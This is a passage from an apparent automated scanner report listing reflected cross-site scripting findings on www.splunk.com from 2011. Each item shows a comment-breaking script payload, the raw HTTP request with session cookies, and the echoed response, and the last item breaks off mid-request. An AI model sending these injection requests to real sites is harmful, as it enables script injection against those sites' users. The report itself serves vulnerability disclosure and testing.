__ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:12:44 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:42:44 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:42:44 GMT; path=/
ETag: 7b7752b2f3e8d75b49e9f04af08a61991296943964
Last-Modified: Sat, 05 Feb 2011 22:12:44 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18339

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>74d4e36369d/company_news -->
...[SNIP]...

4.428. http://www.splunk.com/page/company_news [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/company_news

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload fe016--><script>alert(1)</script>02751ea29ab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/company_newsfe016--><script>alert(1)</script>02751ea29ab HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:12 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18232

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>02751ea29ab -->
...[SNIP]...

4.429. http://www.splunk.com/page/company_news [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/company_news

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 60507--><script>alert(1)</script>01f40883de9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/company_news?60507--><script>alert(1)</script>01f40883de9=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 7f71e5eaea1054d3cef71548dbdb7d571296943923
Last-Modified: Sat, 05 Feb 2011 22:12:03 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 53470

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>01f40883de9=1 -->
...[SNIP]...

4.430. http://www.splunk.com/page/deployments [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/deployments

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload ae83c--><script>alert(1)</script>c2862584a5c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pageae83c--><script>alert(1)</script>c2862584a5c/deployments HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:12:46 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:42:46 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:42:46 GMT; path=/
ETag: 925be999e0ee197c863067b046f053771296943966
Last-Modified: Sat, 05 Feb 2011 22:12:46 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18335

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>c2862584a5c/deployments -->
...[SNIP]...

4.431. http://www.splunk.com/page/deployments [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/deployments

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 65753--><script>alert(1)</script>185a0eda07b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/deployments65753--><script>alert(1)</script>185a0eda07b HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:13 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>185a0eda07b -->
...[SNIP]...

4.432. http://www.splunk.com/page/events [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/events

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload b0685--><script>alert(1)</script>efb9c6194d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pageb0685--><script>alert(1)</script>efb9c6194d9/events HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:13:11 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:43:11 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:43:11 GMT; path=/
ETag: 2f01dad37b0557e806956818a52abb291296943991
Last-Modified: Sat, 05 Feb 2011 22:13:11 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18315

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>efb9c6194d9/events -->
...[SNIP]...

4.433. http://www.splunk.com/page/events [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/events

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload d1458--><script>alert(1)</script>7fcc47b649c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/eventsd1458--><script>alert(1)</script>7fcc47b649c HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:45 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18196

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>7fcc47b649c -->
...[SNIP]...

4.434. http://www.splunk.com/page/events [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/events

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 14917--><script>alert(1)</script>2af0474b4f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/events?14917--><script>alert(1)</script>2af0474b4f1=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:31 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 2103cb1d26b8a9d2bc9082aecd877a281296943954
Last-Modified: Sat, 05 Feb 2011 22:12:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34882

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>2af0474b4f1=1 -->
...[SNIP]...

4.435. http://www.splunk.com/page/portal_admin [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/portal_admin

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 28e76--><script>alert(1)</script>e6d35decb65 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page28e76--><script>alert(1)</script>e6d35decb65/portal_admin HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:12:39 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:42:39 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:42:39 GMT; path=/
ETag: 487008de879a47b141c465fe14cdda001296943959
Last-Modified: Sat, 05 Feb 2011 22:12:39 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18339

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e6d35decb65/portal_admin -->
...[SNIP]...

4.436. http://www.splunk.com/page/portal_admin [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/portal_admin

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload e13c8--><script>alert(1)</script>480a721c753 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/portal_admine13c8--><script>alert(1)</script>480a721c753 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:08 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18232

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>480a721c753 -->
...[SNIP]...

4.437. http://www.splunk.com/page/previous_releases [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/previous_releases

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 799d3--><script>alert(1)</script>ba4082ebc63 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page799d3--><script>alert(1)</script>ba4082ebc63/previous_releases HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
